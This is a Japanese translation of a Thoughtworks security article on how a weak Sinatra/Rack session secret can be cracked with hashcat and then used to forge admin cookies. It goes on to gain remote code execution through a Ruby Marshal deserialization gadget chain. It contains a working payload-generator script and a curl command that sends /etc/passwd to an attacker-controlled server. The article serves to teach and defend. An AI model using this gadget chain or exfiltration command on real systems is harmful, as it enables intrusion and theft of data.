サーバーを危険にさらすたった一行のコード

単純なセッションシークレットの危険性

セッションシークレットは、クッキーを暗号化するためのキーです。アプリケーション開発者は、開発中にしばしば弱いキーを設定し、本番環境で修正しません。この記事では、このような弱いキーがどのように解読され、その解読されたキーがアプリケーションをホストするサーバーの制御を奪取するためにどのように使用できるかを説明します。強力なキーと慎重なキー管理を使用することで、これを防ぐことができます。ライブラリ作成者は、ツールとドキュメントを使用してこれを推奨する必要があります。

2017年4月3日


Photo of Jack Singleton

ジャック・シングルトンは、Thoughtworksの開発者兼セキュリティスペシャリストです。彼の現在の焦点は、デリバリーチームがプロアクティブなセキュリティプラクティスを取り入れるのを支援し、最初から安全なソフトウェアを構築することです。


最近、Sinatra上に構築された小さなRubyウェブアプリケーションを簡単に見ていました。設定コードをざっと見たところ、次の行を見つけました

set :session_secret, 'super secret'

おっと。'super secret'という文字列が実際にはそれほど秘密ではない可能性が高いです。

この行を秘密の重要性に関する投稿で単独で取り出した場合、これは間違いであることは非常に明白ですが、これは非常に一般的な間違いです。簡単にできてしまいます。結局のところ、それは多くのコードのたった一行であり、一度書かれてしまえば、そのコードの部分を再び見直す理由はほとんどありませんでした。

さらに、これはユーザーにも開発者にもすぐに影響を与える間違いではありません。アプリはまだ正常に動作し、セッションは状態を保持し、デプロイメントは問題なく継続します。

しかし、攻撃者はこの欠陥を利用して、システム内の任意のユーザーとしてログインし、実行されているサーバーへのシェルアクセス権を取得できる可能性があります。

攻撃者が実行できる手順をたどりながら、それがどのように可能になるのかを調べましょう。

しかし、まず、このセッションシークレットとは正確には何でしょうか?

セッションシークレットとは何か?

セッションシークレットは、セッション状態を維持するためにアプリケーションによって設定されるクッキーの署名および/または暗号化に使用されるキーです。

実際には、これは多くの場合、ユーザーがなりすましをしないようにするものです。つまり、インターネット上のランダムな人物が管理者としてアプリケーションにアクセスできないようにします。

クッキーは、ウェブアプリケーションが異なるHTTPリクエスト間で状態(現在ログインしているユーザーなど)を維持する最も一般的な方法です。これを実現するために、ウェブブラウザは、ウェブサーバーが記憶しておきたい情報を保持し、後続の各リクエストでそれを送り返して、たとえば、まだログインしていること、そしておそらく管理者であるかどうかもサーバーに思い出させます。

しかし、これらのクッキーはウェブブラウザ(クライアント)によって保存されるため、ウェブサーバーはクライアントから受信したクッキーが正当であることを実際には知りません。この保証は、クッキー仕様によって提供されておらず、次のように述べています。

悪意のあるクライアントは、送信前にCookieヘッダーを変更することができ、予期せぬ結果を招く可能性があります

これはまずいですね。後で、仕様はいくつかのアドバイスを与えてくれます

サーバーは、ユーザーエージェントに送信する際に、クッキーの内容を暗号化および署名する必要があります(サーバーが望む形式を使用する)。

このアドバイスは正確には従われておらず、ウェブフレームワークはデフォルトでクッキーを暗号化し始めたばかりです。しかし、Sinatra(および下位レベルのフレームワークであるRack)は、デフォルトでクッキーに署名します。これは、クライアントがクッキーの内容を読み取ることができる一方で、値を何らかの方法で変更することはできないことを意味します。

他の多くのフレームワークも同様の機能を提供しています。たとえば、Node/Expressにはsecretパラメーターがあり、Python/DjangoにはSECRET_KEYパラメーターがあり、Java/Playにはcrypto.secretパラメーターがあります。それらは内部でわずかに異なるアルゴリズムを使用する可能性がありますが、基本的な機能は同じであり、Ruby/Sinatraのコンテキストでこれから説明する攻撃と同じ攻撃を受けやすいです。

クッキー管理に関するRackのコードを見ると、次のようになります。

class Rack::Session::Cookie

  def write_session(req, session_id, session, options)
    session = session.merge("session_id" => session_id)
    session_data = coder.encode(session)
  
    if @secrets.first
      session_data << "--#{generate_hmac(session_data, @secrets.first)}"
    end
  
    # …

ソースコード

  def generate_hmac(data, secret)
    OpenSSL::HMAC.hexdigest(@hmac.new, secret, data)
  end

ソースコード

  def initialize(app, options={})
    @secrets = options.values_at(:secret, :old_secret).compact
    @hmac = options.fetch(:hmac, OpenSSL::Digest::SHA1)
    # …

ソースコード

Rackはまず、何らかの方法でセッションデータをエンコードし、次に(デフォルトの設定では)OpenSSLを使用してセッションシークレットとセッションデータのHMAC-SHA1を生成し、そのHMACをエンコードされたセッションデータに「--」で区切って追加します。

数学的な言葉で言えば、アプリケーションはhmac = hmac-sha1(secret, data)である(data, hmac)のクッキー値を返します。

アプリケーションにリクエストを行うことで、結果を確認できます。

$ curl -v http://192.168.50.50:9494/
(...)
< Set-Cookie:
rack.session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiRTdhYTliNGY5ZjVmOTE4MjIxYTU5%0AMGM4OGI1Y
TdjMzA3Y2QxNTYyYmJjZGQwYTEyNjJmOThhNmVlNmQzM2ExMTEG%0AOwBGSSIJY3NyZgY7AEZJIiU2M2ZjZTF
kZGIxNTc1ZmU4YzM0Y2YyZjc2M2Vl%0AMGMwYQY7AEZJIg10cmFja2luZwY7AEZ7B0kiFEhUVFBfVVNFUl9BR
0VOVAY7%0AAFRJIi1lZjE4YWVkMjg0YWI3NWU3MGEwMWIyMmUzMWI5MGU3YmE0NDcwYzc2%0ABjsARkkiGUhU
VFBfQUNDRVBUX0xBTkdVQUdFBjsAVEkiLWRhMzlhM2VlNWU2%0AYjRiMGQzMjU1YmZlZjk1NjAxODkwYWZkOD
A3MDkGOwBG%0A--b64eac9e0a5fb41a12b58a7ffe97c51b73fbf1a6;
path=/; HttpOnly

したがって、次がわかっている場合

data = BAh...%0A

そして

hmac = b64...1a6

セッションデータを改ざんするには、次の秘密を見つける必要があります。

hmac-sha1(secret, BAh...%0A) = b64...1a6

設計上、この式でsecretを数学的に計算する方法はありません。見つけるには、正しい値が見つかるまで推測し続ける必要があります…

脆弱なセッションシークレットを解読する方法

そのため、「super secret」は暗号的に安全なランダムデータではありません…しかし、攻撃者はソースコードにアクセスせずにこれを利用できるのでしょうか?

SHA1は可逆ではありませんが、残念ながらこの場合、非常に高速です(汎用ハッシュ関数として、高速になるように設計されています)。秘密が適切な長さの暗号的に安全なランダムデータであれば問題ありませんが、「super secret」は明らかにそうではありません。攻撃者がそれを推測するのにどれくらいの時間がかかるかを見てみましょう。

完全なランダムな推測によるブルートフォース攻撃を行う代わりに、辞書攻撃を試すことができます。辞書攻撃はその名前が示すように辞書内のすべての単語を試すことから始まりますが、実際には辞書は始まりに過ぎません。テイラー・ホーンビーは彼のCrackStationリストについてこう書いています。

このリストには、インターネットで見つけることができたすべてのワードリスト、辞書、パスワードデータベースの漏洩が含まれています(そして、私はそれを探すのに非常に多くの時間を費やしました)。また、ウィキペディアのデータベース(ページ記事、2010年取得、すべての言語)のすべての単語と、Project Gutenbergの多くの書籍も含まれています。また、数年前のアンダーグラウンドで販売されていた目立たないデータベースの侵害からのパスワードも含まれています。

-- テイラー・ホーンビー

すごいですね、それは大量のデータのように聞こえます。完全なCrackStationリストには、単一の15ギガバイトのファイルに約15億のエントリが含まれています。

SHA1は高速ですが、その量のデータでは、ハッシュをできるだけ高速に計算するようにしましょう。Hashcatはまさにそれを行うプログラムです。高度に最適化されたCで記述され、CPUとGPUの両方を利用することで、HashcatはSHA1を高速に処理します。GPUサポートが重要です。GPUはCPUよりもはるかに高速にハッシュを計算できるからです。私のラップトップにはGPUがありませんが、このサポートを利用しないのは残念です…

2013年末、AmazonはGPUインスタンスをEC2サービスの一部として開始しました。わずか1時間あたり2.60ドルで、次のようなg2.8xlargeインスタンスをレンタルできます。

  • 4つのGPU
  • 32個のvCPU
  • 60GBのメモリ

CrackStationワードリスト、Hashcat、そして巨大なEC2インスタンスを使用することで、非常に少ない労力と驚くほど低いコストで、かなり立派なハッシングセットアップが実現します。

辞書攻撃

いくつかのサンプルデータで試してみましょう。

gen-cookie.rb…

  require 'base64'
  require 'openssl'
  
  key = 'super secret'
  cookie_data = 'test'
  cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
  digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie)
  puts("#{cookie}--#{digest}")

$ ruby gen-cookie.rb 
BAhJIgl0ZXN0BjoGRVQ=--8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2

Hashcatは主にパスワードハッシュの解読を目的として設計されており、多くの場合、データとキーの代わりにパスワードとソルトが含まれています。しかし、人々がパスワードストレージスキームでHMAC-SHA1を使用することがあるため、このプログラムでサポートされています。セッションデータをパスワードソルトであると仮定して、クッキー値をHashcatが期待する「ハッシュ:ソルト」形式に変換します。

$ echo '8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=' > hashes 

次に、新しい1行のハッシュファイル、crackstationワードリスト、そしてHMAC-SHA1を使用するように指示する「-m150」オプションを使用してHashcatを実行します(サポートされているアルゴリズムの完全なリストは、「hashcat -h」と入力することで確認できます)。

$ hashcat -m150 hashes ~/wordlists/crackstation.txt
(...)
8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:BAhJIgl0ZXN0BjoGRVQ=:super secret
Session.Name...: hashcat
Status.........: Cracked
Input.Mode.....: File (/home/ec2-user/wordlists/crackstation.txt)
Hash.Target....: 8c5ae09ed57f1e933cc466f5b99ea636d1fc31a2:...
Hash.Type......: HMAC-SHA1 (key = $pass)
Time.Started...: Wed Aug 17 21:45:08 2016 (43 secs)
Speed.Dev.#1...: 6019.4 kH/s (12.95ms)
Speed.Dev.#2...: 5714.5 kH/s (13.04ms)
Speed.Dev.#3...: 5626.1 kH/s (13.20ms)
Speed.Dev.#4...: 6096.9 kH/s (13.24ms)
Speed.Dev.#*...: 23456.9 kH/s
Recovered......: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.......: 1021407839/1196843344 (85.34%)
Rejected.......: 6826591/1021407839 (0.67%)
Restore.Point..: 1017123528/1196843344 (84.98%)
Started: Wed Aug 17 21:45:08 2016
Stopped: Wed Aug 17 21:46:04 2016

すごい!わずか43秒で、10億を超えるハッシュを突破し、リストの85.34%のところで「super secret」を正しく推測しました。

注意点

残念ながら(または幸いなことに)、この方法でHashcatを使用することには注意点があります。パスワードの使用を目的として設計されており、パスワードソルトは通常非常に短いので、「ソルト」は55文字を超えるものを受け入れません。これは、Rackセッションデータが通常超えるものです。

しかし、これは、他のプログラム、またはカスタムソフトウェアでさえ、より長いペイロードを処理できないという意味ではありません。

影響

この実験は、Rackセッションシークレットに対する辞書攻撃が十分に可能性のある範囲内にあることを明確に示しています。暗号的に十分にランダムでないセッションシークレットは、非常に短い時間、労力、リソースで推測できます。

この攻撃はRackシークレットに限定されず、多くのウェブフレームワークは安全に動作するためにデフォルト設定でセッションシークレットを必要とします。これらはすべて:session_secretと非常によく似た動作をし、同様の方法で推測することもできます。

次に、この秘密を推測した後に攻撃者が引き起こす可能性のある被害を調べましょう。

アプリケーションの制御を奪取する

これでセッションシークレットが手に入りました…何を得られるのでしょうか?最初で最も明白なことは、管理者のセッションを偽装しようとすることです。

アプリケーションには、管理者のみがアクセスできる/manageパスがあります。クッキーなしで要求すると、単にログインページにリダイレクトされます。

$ curl -v http://192.168.50.50:9494/manage
* Hostname was NOT found in DNS cache
* Trying 192.168.50.50...
* Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0)
> GET /manage HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.50.50:9494
> Accept: */*
>
< HTTP/1.1 302 Found
< Location: http://192.168.50.50:9494/login
(...)

さて、セッションシークレットがわかっているので、任意の値を使用してクッキーを作成でき、アプリケーションはそれを信頼します。

いくつかの一般的な管理者フラグをtrueに設定し、「super secret」キーを使用してHMAC-SHA1で署名されたクッキーを作成し、ウェブサーバーに送信して、それが受け入れられるかどうかを確認しましょう。

gen-cookie-2.rb…

  require 'base64'
  require 'openssl'
  
  key = 'super secret'
  
  cookie_data = {
    :authorized => true,
    :authorised => true,
    :admin => true,
    :loggedin => true
  }
  
  cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
  digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie)
  
  puts("#{cookie}--#{digest}")

実行すると…

$ curl -v http://192.168.50.50:9494/manage --cookie "rack.session=$(ruby gen-cookie-2.rb)"
* Hostname was NOT found in DNS cache
* Trying 192.168.50.50...
* Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0)
> GET /manage HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.50.50:9494
> Accept: */*
> Cookie: rack.session=BAh7CToPYXV0aG9yaXNlZFQ6D2F1dGhvcml6ZWRUOgphZG1pblQ6DWxvZ2dlZGluVA==--a3b1d4402b7345022f50a82671c17fa2b3b174e3
>
< HTTP/1.1 200 OK
< Content-Type: text/html;charset=utf-8
< Content-Length: 2746
(...)

200 OK!この場合、アプリケーションは「authorized」フラグが設定されているかどうかを確認していました。「admin」フラグを使用するアプリも非常に一般的です。場合によっては、単純なフラグではなくユーザーIDを使用する場合があり、その場合は0や1などの低い値を試すことができます。これらは多くの場合、管理者です。

影響

アプリケーションによって公開されている管理機能はすべて、攻撃者によってアクセスされる可能性があります。さらに、アプリケーションの他のユーザーになりすますこともできます。大量の機密データが公開され、危険な管理者専用機能が悪用される可能性があります。

悲しいことに、物語はここで終わりません。次のセクションでは、攻撃者がこれを使用して、追加の脆弱性なしでリモートコード実行にエスカレートする方法を示します。

サーバーの制御を奪取する

この時点で、アプリの制御を達成しました…しかし、実際にはこれ以上進めてサーバーの制御を奪取することができます。

Rackのクッキー処理コードに戻ると、クッキーのエンコードとデコードのための次のメソッドが表示されます。

class Rack::Session::Cookie…

  def initialize
    # snip… 
  
    @coder = options[:coder] ||= Base64::Marshal.new
    # …

ソースコード

  # Encode session cookies as Marshaled Base64 data
  class Marshal < Base64
    def encode(str)
      super(::Marshal.dump(str))
    end
  
    def decode(str)
      return unless str
      ::Marshal.load(super(str)) rescue nil
    end
  end

ソースコード



デフォルトでは、Rackはデータのシリアライズとデシリアライズに`Marshal.dump`と`Marshal.load`を使用します。これは開発者にとって便利で、セッションに任意のRubyオブジェクトを保存できますが、残念ながら、攻撃者が巧妙に選択された値を持つオブジェクトをインスタンス化することで、アプリケーションを任意のコードを実行させるよう騙すために、この機能を悪用できることを意味します。

これは、Stefan Esserが2010年にPHPの`unserialize()`の脆弱性に関する文脈でプロパティ指向プログラミングと呼んだ手法を用いて可能です。

PHPの`unserialize()`またはRubyの`Marshal.load()`への入力を制御する場合、任意のクラスと任意のプロパティをアプリケーションにロードさせることができます。RubyもPHPもコードのシリアライズを許可しないため、トリックは、アプリケーションによって通常どおりに操作されたときに、選択したコードを実行することになるクラスとプロパティ値を選択することです。

私たちのケースでは、Rackがデシリアライズされたセッションデータで最初に実行する処理は、配列のルックアップです。

class Rack::Session::Cookie…

  def extract_session_id(request)
    unpacked_cookie_data(request)["session_id"]
  end

ソースコード

では、単純な配列ルックアップをどのように興味深いものに変えるのでしょうか?

2013年、Charlie Somervilleは、Rails ActiveSupport gemの中に`DeprecationProxy`という魔法のクラスを見つけました。対象のアプリケーションはSinatraで構築されていましたが、ActiveSupportを依存関係としてプルしていました。

`DeprecationProxy`は魔法のようで、私たちにとって非常に便利な2つのものを持っています…`method_missing`メソッドと、完全に制御できる`.__send__()`への呼び出しです。

`method_missing`は、`session_id`のルックアップを含むあらゆる呼び出しが、私たちが望むコードパスをトリガーすることを意味します。

class ActiveSupport::Deprecation::DeprecationProxy

  def method_missing(called, *args, &block)
    warn caller_locations, called, args
    target.__send__(called, *args, &block)
  end

ソースコード

上記の`__send__`呼び出しは無視してください。私たちが関心を持つ呼び出しは、それよりも前に、ターゲットメソッドで発生します。

class ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy

  def target
    @instance.__send__(@method)
  end

ソースコード

素晴らしい!`@instance`と`@method`の両方がインスタンス変数であるため、デシリアライズ後にそれらの値を制御して、任意のオブジェクトの任意のメソッドを呼び出すことができます(メソッドをパラメーターなしで呼び出すことができる場合)。

どのメソッドを実行するべきでしょうか?RailsアプリケーションではERBテンプレートを作成できますが、このアプリケーションはSlimテンプレートを使用するSinatraを使用しており、ERBはプルしていません。

幸いにも、Slimが構築されているTempleライブラリに`Temple::ERB::Template`クラスを見つけました。

  module Temple
    # ERB example implementation
    #
    # Example usage:
    #   Temple::ERB::Template.new { "<%= 'Hello, world!' %>" }.render
    #
    module ERB
      # ERB Template class
      Template = Temple::Templates::Tilt(Engine)
    end
  end

ソースコード

このクラスはRailsのERBテンプレートのように動作し、`render`が呼び出されたときに評価される文字列をシリアライズできます。

サーバーでコマンドを実行する

それでは、すべてをまとめてみましょう。

gen-cookie-rce.rb…

  require 'base64'
  require 'openssl'
  require 'temple'
  
  @key = 'super secret'
  @payload = ARGV.join ' '
  
  def gen_cookie_with_digest(cookie_data)
    cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
    digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), @key, cookie)
    "#{cookie}--#{digest}"
  end
  
  class ActiveSupport
    class Deprecation
      class DeprecatedInstanceVariableProxy
        def initialize(i, m)
          @instance = i
          @method = m
        end
      end
    end
  end
  
  erb = Temple::ERB::Template.new { "<% #{@payload} %>" }
  cookie_data = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :render
  
  puts gen_cookie_with_digest(cookie_data)

しかし、実行すると…

$ ruby gen-cookie-rce.rb
gen-cookie-rce.rb:14:in `dump': no _dump_data is defined for class Proc (TypeError)
from gen-cookie-rce.rb:14:in `gen_cookie_with_digest'
from gen-cookie-rce.rb:41:in `<main>

うーん、Procはコードなので、シリアライズできません…しかし、ペイロードは文字列です。そのProcはどこから来ているのでしょうか?

$ irb
2.2.2 :001 > require 'temple'
=> true
2.2.2 :002 > t = Temple::ERB::Template.new { "<% puts 'test' %>" }
=> #<Temple::ERB::Template:0x000000010ced00 @options={}, @line=1, @file=nil,
@compiled_method={}, @default_encoding=nil, @reader=<Proc:0x000000010cecd8@(irb):2>,
@data="<% puts 'test' %>", @src="_buf = []; puts 'test' ; _buf << (\"\".freeze);
_buf = _buf.join"

そうです、Templateは`@reader`インスタンス変数にProcを使用して初期化されます…しかし、それを変更できます。ついでに`@src`プロパティも直接設定しましょう。

2.2.2 :010 > t = Temple::ERB::Template.new { "" }
=> #<Temple::ERB::Template:0x0000000117e8e0 @options={}, @line=1,
@file=nil, @compiled_method={}, @default_encoding=nil,
@reader=#<Proc:0x0000000117e890@(irb):10>, @data="", @src="_buf = \"\"">
2.2.2 :011 > t.instance_variable_set(:@reader, nil)
=> nil

2.2.2 :012 > t.instance_variable_set(:@src, "puts 'test'")
=> "puts 'test'"

2.2.2 :013 > Marshal.dump(t)
=> "\x04\bo:\x1ATemple::ERB::Template\r:\r@options{\x00:\n@linei\x06:\n@file0:
\x15@compiled_method{\x00:\x16@default_encoding0:\f@reader0:\n@dataI\"
\x00\x06:\x06ET:\t@srcI\"\x10puts 'test'\x06;\rT"
2.2.2 :014 > Marshal.load(Marshal.dump(t)).render
test

良さそうです。

スクリプトを更新した後

gen-cookie-rce.rb...

  erb = Temple::ERB::Template.new { "" }
  erb.instance_variable_set :@reader, nil
  erb.instance_variable_set :@src, @payload

ペイロードを正常に生成できるようになりました。

$ ruby gen-cookie-rce.rb 'puts test'
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQ
cm94eQg6DkBpbnN0YW5jZW86GlRlbXBsZTo6RVJCOjpUZW1wbGF0ZQ06DUBvcHRpb25zewA6CkBsaW5l
aQY6CkBmaWxlMDoVQGNvbXBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF9lbmNvZGluZzA6DEByZWFkZXIw
OgpAZGF0YUkiAAY6BkVUOglAc3JjSSIOcHV0cyB0ZXN0BjsPVDoMQG1ldGhvZDoLcmVuZGVyOhBAZGVw
cmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==--ab97c627274697118a
8c17a411917b0e35759200

リモートサーバーにも行を出力しようとできますが、戻ってきた応答にその出力が見られない可能性が高いです。では、成功したかどうかをどのように確認すれば良いのでしょうか?

このような「ブラインド」テストにおける一般的な戦略は、数秒間スリープまたは待機を実行することです。そうした場合にサーバーがしばらくハングする場合は、コマンドを実行できていることがわかります。

バッククォートを使用してRubyからシェルを実行し、sleepコマンドを実行しましょう。

$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`sleep 2`')"
* Hostname was NOT found in DNS cache
* Trying 192.168.50.50...
* Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.50.50:9494
> Accept: */*
> Cookie: rack.session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRl
ZEluc3RhbmNlVmFyaWFibGVQcm94eQc6DkBpbnN0YW5jZW86GlRlbXBsZTo6RVJCOjpUZW1wbGF0ZQ0
6DUBvcHRpb25zewA6CkBsaW5laQY6CkBmaWxlMDoVQGNvbXBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF
9lbmNvZGluZzA6DEByZWFkZXIwOgpAZGF0YUkiAAY6BkVUOglAc3JjSSIOYHNsZWVwIDJgBjsPVDoMQ
G1ldGhvZDoLcmVuZGVy--125155123857318baac81efb24c2c630bb5cf610
>
< HTTP/1.1 500 Internal Server Error
< Content-Type: text/plain
< Content-Length: 6435
* Server WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) is not blacklisted
< Server: WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13)
< Date: Fri, 19 Aug 2016 00:13:43 GMT
< Connection: Keep-Alive
<
NoMethodError: private method `warn' called for nil:NilClass
/home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:92:in `warn'
/home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:23:in `method_missing'
(...)

ああ。warnメソッドが指しているスタックトレースを見ると、何が起こっているかがわかります。

class DeprecatedInstanceVariableProxy…

  def warn(callstack, called, args)
    @deprecator.warn(
      "#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}",
      callstack)
  end

ソースコード

`warn`は`@deprecator.warn()`を呼び出したいと考えていますが、そのフィールドの値を指定していないため、`nil`のままになっています。

warnメソッドを定義するクラスを探して、`Bundler::UI::Silent`を見つけました。

class Bundler::UI::Silent…

  def warn(message, newline = nil)
  end

ソースコード

そのため、プロキシにサイレントロガーを追加します。

gen-cookie-rce.rb...

  class DeprecatedInstanceVariableProxy
    def initialize(i, m)
      @instance = i
      @method = m
      @deprecator = Bundler::UI::Silent.new
    end
  end

そして、もう一度試します。

$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby ./gen-cookie-rce.rb '`sleep 2`')"
* Hostname was NOT found in DNS cache
* Trying 192.168.50.50...
* Connected to 192.168.50.50 (192.168.50.50) port 9494 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 192.168.50.50:9494
> Accept: */*
> Cookie: rack.session=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6R
GVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86GlRlbXBsZ
To6RVJCOjpUZW1wbGF0ZQ06DUBvcHRpb25zewA6CkBsaW5laQY6CkBmaWxlMDoVQGNvb
XBpbGVkX21ldGhvZHsAOhZAZGVmYXVsdF9lbmNvZGluZzA6DEByZWFkZXIwOgpAZGF0Y
UkiAAY6BkVUOglAc3JjSSIOYHNsZWVwIDJgBjsPVDoMQG1ldGhvZDoLcmVuZGVyOhBAZ
GVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==--f15
c54bf271f0b3aee1c589fa40869abade262c4
> 

6秒間待ちました…

< HTTP/1.1 500 Internal Server Error 
< Content-Type: text/plain
< Content-Length: 6298
* Server WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13) is not blacklisted
< Server: WEBrick/1.3.1 (Ruby/2.2.2/2015-04-13)
< Date: Fri, 19 Aug 2016 00:13:43 GMT
< Connection: Keep-Alive
< 
IndexError: string not matched
        /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:24:in `[]='
        /home/vagrant/.rvm/gems/ruby-2.2.2/gems/activesupport-4.2.4/lib/active_support/deprecation/proxy_wrappers.rb:24:in `method_missing'

やった!その待ちはかなり長かったです…コマンドが3回実行されていることがわかりました。しかし、1回でも3回でも、シェルはシェルです。

アプリケーションからエラーが返されたことも確認できますが、コマンドはすでに実行されているため、気にする必要はありません。

サーバーからデータを取得する

シェルはシェルですか?まあ、そうとは限りません。現時点ではコマンドを実行できますが、結果を見ることさえできません。しかし、これは、制御するウェブサーバーにデータを送信することで簡単に回避できます。

まず、公開可能なIPアドレスを持つボックスに単純なpython httpサーバーをセットアップします。

$ cd $(mktemp -d)
$ python3 -mhttp.server
Serving HTTP on 0.0.0.0 port 8000 ...

次に、侵害されたホストでcurlを呼び出せるかどうかを確認します。

$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`curl http://our-python-server:8000`')"

そして、pythonサーバーに戻ります。

127.0.0.1 - - [18/Aug/2016 17:40:47] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [18/Aug/2016 17:40:47] "GET / HTTP/1.1" 200 -
127.0.0.1 - - [18/Aug/2016 17:40:48] "GET / HTTP/1.1" 200 -

いいですね。実際のデータを含めることはできますか?

$ curl -v http://192.168.50.50:9494/ --cookie "rack.session=$(ruby gen-cookie-rce.rb '`curl http://our-python-server:8000?$(cat /etc/passwd | base64 -w0)`')"

127.0.0.1 - - [18/Aug/2016 17:50:26] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
127.0.0.1 - - [18/Aug/2016 17:50:27] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -
127.0.0.1 - - [18/Aug/2016 17:50:28] "GET /?cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= HTTP/1.1" 200 -

$ echo cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgo= | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

影響

この例では、サーバーから`/etc/passwd`ファイルだけをエクフィルタリングしています。これは、passwdファイルが特に機密性が高いからではなく(通常はそうではありません)、一般的にすべてのLinuxサーバーに存在する世界可読ファイルであるためです。私たちは、任意のコマンドを実行し、その結果を読み取ることができることを証明しているだけです。

ここから、攻撃者はまず、アプリケーションがアクセスできる外部システムを特定する可能性があります。データベース、内部Webサービス、バックアップシステムなどはすべて貴重なターゲットになります。

次に、アプリケーションが使用するのと同じ情報と資格情報を使用して、これらのサービスを調査します。たとえば、アプリケーションが使用しているデータベースには、ユーザー名/パスワード情報、PII、クレジットカード情報などの貴重なデータが含まれている可能性があります。

繰り返しますが、このような攻撃はRack固有のものではなく、Ruby固有のものでもありません。デシリアライズは複雑なタスクであり、信頼できないデータが受け入れられると、多くの場合、悪用される可能性があります。このような脆弱性は、2015年に(Javaの)Apache Commons Collectionsライブラリで発見され、WebLogic、WebSphere、JBoss、Jenkinsなどの製品に影響を与えました。ただし、オブジェクトシリアライズを使用しないフレームワークは、このような攻撃の影響を受けにくいです。たとえば、4.1リリースでRailsはデフォルトのシリアライズメカニズムをMarshalからJSONに変更し、この攻撃のRCE部分を軽減し、偽造セッションへの被害を制限しました。

予防策

単一の(しかし重要な)構成コード行のために、攻撃者がWebサーバーへの完全なシェルアクセスを取得する方法を実証しました。では、この種の脆弱性が再び発生するのを防ぐために、私たちは何ができるのでしょうか?

アプリケーション開発者向け

最初のステップは認識です。AppSec101(Thoughtworksのアプリケーションセキュリティトレーニングコース)で強調しているセキュアデリバリー原則の1つは「秘密を秘密に保つ」です。当たり前のようですが、言うほど簡単ではありません。多くの時間が秘密管理ツールと戦略の作成に費やされ、その一部はDaniel SomerfieldによるAppSecUSAでの講演"Turtles All the Way Down: Storing Secrets in the Cloud and the Data Center"で議論されています。特に、HashiCorp Vaultは、アカウント管理と監査の優れたサポートを備えた有望な秘密管理サーバーです。ただし、セットアップには多少の作業が必要であり、単純なソリューションでもまったくないよりははるかに優れています。機密性の高い構成値は、アプリケーションの起動時に環境変数として指定し、保護されたフィールドとしてCIツールに提供できます。たとえば、JetBrains TeamCityは非表示のパスワードパラメーターをサポートしています。長期保存のために、1Passwordやpassなどのパスワードマネージャーには、チームが安全に秘密を保存および共有できるようにする機能があります。電子メール、IM、wiki、付箋は、私たちの秘密管理戦略には不要です!

では、「超秘密」をコピー&ペーストする代わりに、何をすべきだったのでしょうか?

このパスを始める前に、セキュリティスペシャリストが利用できる場合は、彼らに尋ねる必要があります。キーの生成と管理に関する決定は、主にあなたの状況と、組織とアプリケーションによって要求されるセキュリティレベルに依存します。助けを求めることを恐れないでください!

